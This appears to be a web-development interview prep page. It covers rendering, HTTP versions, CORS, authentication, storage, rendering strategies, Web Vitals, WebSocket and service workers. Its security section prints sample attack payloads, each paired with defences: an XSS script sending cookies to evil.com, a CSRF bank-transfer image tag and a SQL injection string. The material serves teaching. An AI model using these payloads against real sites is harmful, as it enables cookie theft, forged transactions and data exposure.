Web Technology interview questions
Critical Rendering Path
The critical rendering path is the sequence of steps the browser takes to convert HTML, CSS, and JavaScript into pixels on screen.
Steps
textHTML -> DOM CSS -> CSSOM DOM + CSSOM -> Render Tree -> Layout -> Paint -> Composite1 - Parsing
textHTML bytes -> tokens -> nodes -> DOM tree CSS bytes -> tokens -> nodes -> CSSOM treeJavaScript blocks HTML parsing by default - the parser stops until the script is downloaded and executed.
2 - Render Tree
The browser combines DOM + CSSOM into a render tree - only visible elements with their computed styles.
display: noneelements are excluded.3 - Layout (Reflow)
Calculates the exact position and size of every element. Triggered by any change to geometry: width, height, margin, font size, DOM additions.
4 - Paint
Fills in pixels - colors, borders, shadows, text. Expensive for complex styles like
box-shadow.5 - Composite
Layers are combined in the correct order by the GPU. Compositing is cheap - properties like
transformandopacityonly trigger this step.Performance implications
texttransform / opacity -> Composite only (GPU) - fastest color / background -> Paint + Composite - fast width / margin -> Layout + Paint + Composite - slowBlocking resources
html<!-- blocks rendering until downloaded + executed --> <script src="app.js"></script> <!-- downloaded in parallel, executed after HTML parsed --> <script src="app.js" defer></script> <!-- downloaded in parallel, executed immediately when ready --> <script src="app.js" async></script>To optimize: minimize render-blocking resources, use
deferon scripts, avoid forced synchronous layouts (reading layout properties after DOM writes), and animate onlytransformandopacity.updated
did you know it?HTTP Versions
HTTP/1.1 (1997)
- One request per TCP connection at a time.
- Head-of-line blocking - requests queue behind slow ones.
- Workarounds: multiple TCP connections (6 per origin), domain sharding, bundling, sprites.
textConnection 1: GET /style.css -> wait -> GET /app.js -> wait -> ... Connection 2: GET /logo.png -> wait -> ...HTTP/2 (2015)
- Multiplexing - multiple requests over a single TCP connection simultaneously.
- Header compression (HPACK) - reduces overhead of repeated headers.
- Server push - server could proactively send resources (removed from Chrome in 2022 and practically dead; use
<link rel="preload">and103 Early Hintsinstead). - Stream prioritization - critical resources first.
textSingle TCP connection: Stream 1: GET /style.css ----> Stream 2: GET /app.js ----> Stream 3: GET /logo.png ----> (all in parallel)- Still has TCP head-of-line blocking - a lost packet blocks all streams.
HTTP/3 (2022)
- Built on QUIC (UDP-based) instead of TCP.
- No head-of-line blocking - lost packet only blocks its own stream.
- Faster connection setup - transport and TLS 1.3 handshake combined: 1-RTT, or 0-RTT on resumption (vs 2-3 RTT for TCP + TLS).
- Better performance on unreliable networks (mobile).
Comparison
HTTP/1.1 HTTP/2 HTTP/3 Protocol TCP TCP QUIC (UDP) Multiplexing No Yes Yes Head-of-line blocking Yes TCP level No Header compression No HPACK QPACK Connection setup Slow Fast Fastest HTTP/2 removed the need for many HTTP/1.1 workarounds like bundling and sprites. With HTTP/2 and HTTP/3, serving many small files is often better than one large bundle.
updated
did you know it?CORS - Cross-Origin Resource Sharing
CORS is a browser mechanism that relaxes the same-origin policy: by default a page can't read responses from a different origin, and CORS headers let a server allow specific origins to do so.
What is an origin
texthttps://app.example.com:443/path |_____| |_____________| |__| scheme host port // same origin https://app.example.com/other-path - same // different origin (cross-origin) http://app.example.com - different scheme https://api.example.com - different host https://app.example.com:8080 - different portSimple requests
GET, HEAD or POST with basic headers and form/text content types - the browser sends the request right away and then checks the response headers. If they don't allow the origin, the request still reached the server, but JavaScript can't read the response.
textRequest: GET https://api.example.com/data Origin: https://app.example.com Response: Access-Control-Allow-Origin: https://app.example.com (or * for any origin)Preflight requests
For non-simple requests (PUT, DELETE, custom headers) - browser sends an OPTIONS request first.
textPreflight OPTIONS: Origin: https://app.example.com Access-Control-Request-Method: DELETE Access-Control-Request-Headers: Authorization Server response: Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Max-Age: 86400 (cache preflight for 24h)Server configuration (Express)
tsimport cors from 'cors'; app.use(cors({ origin: ['https://app.example.com', 'https://admin.example.com'], methods: ['GET', 'POST', 'PUT', 'DELETE'], allowedHeaders: ['Authorization', 'Content-Type'], credentials: true, // allow cookies }));Credentials and cookies
ts// client must opt in fetch('https://api.example.com/data', { credentials: 'include' }); // server must explicitly allow // Access-Control-Allow-Credentials: true // Access-Control-Allow-Origin must NOT be * when credentials: trueCORS is enforced by the browser, not the server. Direct requests from curl or Postman bypass it entirely. The server only needs to send the right headers.
updated
did you know it?Authentication vs Authorization
Authentication - who are you?
Verifying the identity of a user.
textUser provides: email + password / OAuth token / biometric System verifies: yes, this is AliceAuthorization - what can you do?
Verifying what an authenticated user is allowed to access.
textAlice is authenticated. Can Alice delete this post? -> check role/permissions -> yes/noCommon implementations
Session-based auth
text1. User logs in -> server creates session -> stores in DB 2. Server sends session ID in cookie (httpOnly) 3. Every request: browser sends cookie -> server looks up sessionJWT (JSON Web Token)
text1. User logs in -> server creates signed JWT 2. Client stores token (memory or httpOnly cookie) 3. Every request: client sends JWT -> server verifies signature JWT structure: header.payload.signature payload: { userId, role, exp: timestamp }ts// JWT verification import jwt from 'jsonwebtoken'; function authMiddleware(req, res, next) { const token = req.headers.authorization?.split(' ')[1]; if (!token) return res.status(401).json({ error: 'Unauthorized' }); try { const payload = jwt.verify(token, process.env.JWT_SECRET); req.user = payload; next(); } catch { res.status(401).json({ error: 'Invalid token' }); } }Role-based authorization (RBAC)
tsfunction requireRole(role: string) { return (req, res, next) => { if (req.user.role !== role) { return res.status(403).json({ error: 'Forbidden' }); } next(); }; } router.delete('/posts/:id', authMiddleware, requireRole('admin'), deletePost);Authentication Authorization Question Who are you? What can you do? HTTP status on failure 401 Unauthorized 403 Forbidden Happens First After authentication 401 means "I don't know who you are" - log in first. 403 means "I know who you are, but you can't do this".
updated
did you know it?Browser Storage
localStorage
- Persists until explicitly cleared.
- Accessible only via JavaScript.
- ~5-10MB per origin.
- Not sent to server automatically.
tslocalStorage.setItem('theme', 'dark'); localStorage.getItem('theme'); // 'dark' localStorage.removeItem('theme'); localStorage.clear();sessionStorage
- Cleared when the browser tab is closed.
- Not shared across tabs.
- Same API as localStorage.
tssessionStorage.setItem('draftForm', JSON.stringify(formData)); // survives page refresh in same tab, gone when tab closesCookies
- Sent to the server on every request automatically.
- Can be set by server (
Set-Cookieheader) or client. - Configurable expiry, scope, and security flags.
- ~4KB limit.
ts// client-side document.cookie = 'name=Alice; max-age=3600; path=/'; // server sets httpOnly cookie (JS can't read) res.setHeader('Set-Cookie', 'token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=86400');Security flags for cookies
Flag Effect HttpOnlyNot accessible via JS - prevents XSS token theft SecureOnly sent over HTTPS SameSite=StrictNever sent on cross-site requests - prevents CSRF SameSite=LaxSent on top-level navigations only Comparison
localStorage sessionStorage Cookie Capacity ~5-10MB ~5MB ~4KB Expiry Never Tab close Configurable Sent to server No No Yes (auto) Accessible via JS Yes Yes Yes (if not httpOnly) Cross-tab Yes No Yes Never store JWTs or sensitive tokens in localStorage - it's vulnerable to XSS. Use
httpOnlycookies instead - JavaScript can't read them even if your site is compromised.updated
did you know it?Rendering Strategies
CSR - Client-Side Rendering
The server sends a minimal HTML shell. The browser downloads JS and renders everything.
textServer: <div id="root"></div> + bundle.js Browser: downloads JS -> executes -> renders page- Fast navigation after initial load (SPA).
- Slow first load, weaker SEO (content not in initial HTML).
- Tools: Vite + React (Create React App is deprecated since 2025).
SSR - Server-Side Rendering
HTML is generated on the server for every request.
textRequest -> server fetches data -> renders HTML -> sends to browsertsx// Next.js App Router - async server component async function Page({ params }: PageProps<'/posts/[id]'>) { const { id } = await params; const post = await db.post.findUnique({ where: { id } }); // no need to call your own API return <Post data={post} />; }- Great SEO, fast first paint.
- Higher server load, slower than static files.
- Best for: dashboards, personalized content.
SSG - Static Site Generation
HTML is generated at build time - same file served to everyone.
textbuild -> generates all HTML files -> deploy to CDN request -> CDN returns pre-built HTML instantly- Fastest possible load (CDN-served static files).
- Content is stale until next build.
- Best for: blogs, docs, marketing pages.
ISR - Incremental Static Regeneration
Static pages that can revalidate in the background after a time interval.
tsx// Next.js 16 (Cache Components) - static, refreshed in the background every hour async function getPosts() { 'use cache'; cacheLife('hours'); return db.post.findMany(); } // Before Cache Components: fetch(url, { next: { revalidate: 3600 } })- Best of SSG and SSR: fast delivery + fresh data.
- Best for: e-commerce product pages, news articles.
Comparison
CSR SSR SSG ISR First load Slow Fast Fastest Fastest SEO Poor Excellent Excellent Excellent Data freshness Always fresh Always fresh Stale Configurable Server load Low High None Low Build time Fast Fast Slow Medium Modern apps often mix strategies: SSG for marketing, SSR for user dashboards, CSR for highly interactive features. Partial Prerendering mixes them even within one page: a static shell from the CDN with dynamic parts streamed in.
updated
did you know it?Web Vitals
Web Vitals are Google's metrics for measuring real-world user experience. They directly affect search ranking (Core Web Vitals).
Core Web Vitals
LCP - Largest Contentful Paint Time until the largest visible element is rendered.
textGood: <= 2.5s Needs improvement: 2.5s - 4s Poor: > 4s Typically: hero image, heading, or large text blockCLS - Cumulative Layout Shift How much the page layout shifts unexpectedly during load.
textGood: <= 0.1 Poor: > 0.25 Causes: images without dimensions, late-loading ads, dynamic content injectionINP - Interaction to Next Paint (replaced FID in 2024) Responsiveness to user interactions - measures worst interaction delay.
textGood: <= 200ms Poor: > 500msOther important metrics
TTFB - Time to First Byte - server response speed. FCP - First Contentful Paint - first text or image rendered. TBT - Total Blocking Time - lab metric for main-thread blocking, the closest proxy for INP in Lighthouse (TTI was removed from Lighthouse in 2023).
How to measure
tsimport { onLCP, onCLS, onINP } from 'web-vitals'; onLCP(({ value, rating }) => { analytics.send({ metric: 'LCP', value, rating }); // 'good' | 'needs-improvement' | 'poor' }); onCLS(({ value }) => analytics.send({ metric: 'CLS', value })); onINP(({ value }) => analytics.send({ metric: 'INP', value }));Common fixes
Metric Common cause Fix LCP Large unoptimized image <img loading="eager">, WebP, CDN,fetchpriority="high"CLS Images without size Always set width+heighton imagesINP Heavy JS on interaction Code split, move work to web worker, debounce Core Web Vitals are measured by real Chrome users in the field and reported in Google Search Console. Poor scores directly impact SEO ranking.
updated
did you know it?WebSocket
WebSocket is a protocol that provides a persistent, full-duplex communication channel between client and server over a single TCP connection.
HTTP vs WebSocket
textHTTP (request-response): Client: GET /messages --> <-- Server: [messages] Client: GET /messages --> <-- Server: [messages] (polling) WebSocket (persistent): Client: WS upgrade --> <-- Server: connection established <-- Server: new message! (pushed) <-- Server: new message! (pushed) Client: send message -->Setup
ts// client const ws = new WebSocket('wss://api.example.com/ws'); ws.onopen = () => { console.log('Connected'); ws.send(JSON.stringify({ type: 'subscribe', channel: 'prices' })); }; ws.onmessage = (event) => { const data = JSON.parse(event.data); updateUI(data); }; ws.onclose = () => console.log('Disconnected'); ws.onerror = (err) => console.error(err);ts// server (Node.js + ws library) import { WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 8080 }); wss.on('connection', (ws) => { ws.on('message', (data) => { const msg = JSON.parse(data.toString()); // broadcast to all clients wss.clients.forEach((client) => { if (client.readyState === WebSocket.OPEN) { client.send(JSON.stringify({ type: 'message', ...msg })); } }); }); });When to use WebSocket vs alternatives
Use case Solution Chat, multiplayer game WebSocket - bidirectional Live notifications, feed SSE (Server-Sent Events) - server to client only, simpler Occasional updates Polling - simplest, acceptable latency File upload progress Neither - XMLHttpRequestupload.onprogresson the upload request itselfStreaming an AI response SSE or a streamed fetchresponseIn React
tsxfunction useLivePrices(symbol: string) { const [price, setPrice] = useState(null); useEffect(() => { const ws = new WebSocket(`wss://prices.example.com/${symbol}`); ws.onmessage = (e) => setPrice(JSON.parse(e.data).price); return () => ws.close(); // cleanup on unmount }, [symbol]); return price; }Use WebSocket when you need real-time bidirectional communication. For server-to-client only (notifications, live feed) prefer SSE - it's simpler, works over HTTP, and auto-reconnects.
The longer version, with what WebSockets cost in production: When to Use WebSockets.
updated
did you know it?Web Security Threats
XSS - Cross-Site Scripting
Attacker injects malicious JavaScript that runs in other users' browsers.
html<!-- stored XSS - attacker saves this as a comment --> <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> <!-- reflected XSS --> https://site.com/search?q=<script>alert(1)</script>Prevention:
ts// never do this element.innerHTML = userInput; // use textContent instead element.textContent = userInput; // React escapes by default - safe <div>{userInput}</div> // dangerouslySetInnerHTML - only with sanitized input import DOMPurify from 'dompurify'; <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />Content Security Policy (CSP):
textContent-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' // blocks inline scripts and external script sourcesCSRF - Cross-Site Request Forgery
Attacker tricks a logged-in user into submitting a malicious request.
html<!-- attacker's site --> <img src="https://bank.com/transfer?to=attacker&amount=1000" /> <!-- browser sends cookies automatically - request goes through! -->Prevention:
ts// CSRF tokens <input type="hidden" name="csrf_token" value="{server_generated_token}" /> // SameSite cookies - best modern defense Set-Cookie: session=abc; SameSite=Strict; HttpOnly; SecureSQL Injection (API side)
ts// vulnerable db.query(`SELECT * FROM users WHERE name = '${userInput}'`); // input: ' OR '1'='1 -> returns all users // safe - parameterized queries db.query('SELECT * FROM users WHERE name = $1', [userInput]);Security headers checklist
textContent-Security-Policy - restrict resource origins X-Content-Type-Options: nosniff - prevent MIME sniffing X-Frame-Options: DENY - prevent clickjacking (modern: CSP frame-ancestors 'none') Strict-Transport-Security - force HTTPS Referrer-Policy: strict-origin - limit referrer infoThe three biggest web vulnerabilities are XSS, CSRF, and injection attacks. React prevents most XSS by default through escaping, but
dangerouslySetInnerHTMLandevalare common escape hatches that reintroduce the risk.updated
did you know it?Service Worker
A service worker is a JavaScript file that runs in the background, separate from the web page. It acts as a programmable network proxy between the browser and the server.
Key characteristics
- Runs in a separate thread - no DOM access.
- Only works over HTTPS (or localhost).
- Persists across page loads - lives independently.
- Event-driven - activated by fetch, push, sync events.
Registration
ts// main thread if ('serviceWorker' in navigator) { navigator.serviceWorker .register('/sw.js') .then(reg => console.log('SW registered:', reg.scope)) .catch(err => console.error('SW failed:', err)); }Lifecycle
textinstall -> activate -> idle -> fetch/push/syncCaching strategies
ts// sw.js const CACHE = 'app-v1'; const PRECACHE = ['/index.html', '/app.css', '/app.js']; // install - precache static assets self.addEventListener('install', (event) => { event.waitUntil( caches.open(CACHE).then(cache => cache.addAll(PRECACHE)) ); }); // fetch - cache-first strategy self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then(cached => { return cached ?? fetch(event.request).then(response => { const clone = response.clone(); caches.open(CACHE).then(cache => cache.put(event.request, clone)); return response; }); }) ); });Common caching strategies
Strategy How Use for Cache First Cache -> network fallback Static assets, fonts Network First Network -> cache fallback API data, HTML Stale While Revalidate Cache immediately + update in background Avatars, non-critical data Cache Only Cache only, no network Offline-only content Other capabilities
ts// Background Sync - retry failed requests when back online self.addEventListener('sync', (event) => { if (event.tag === 'send-message') { event.waitUntil(sendPendingMessages()); } }); // Push Notifications self.addEventListener('push', (event) => { const data = event.data.json(); event.waitUntil( self.registration.showNotification(data.title, { body: data.body }) ); });Service workers are the backbone of Progressive Web Apps (PWA). Workbox by Google abstracts most of the low-level caching code into simple configuration.
updated
did you know it?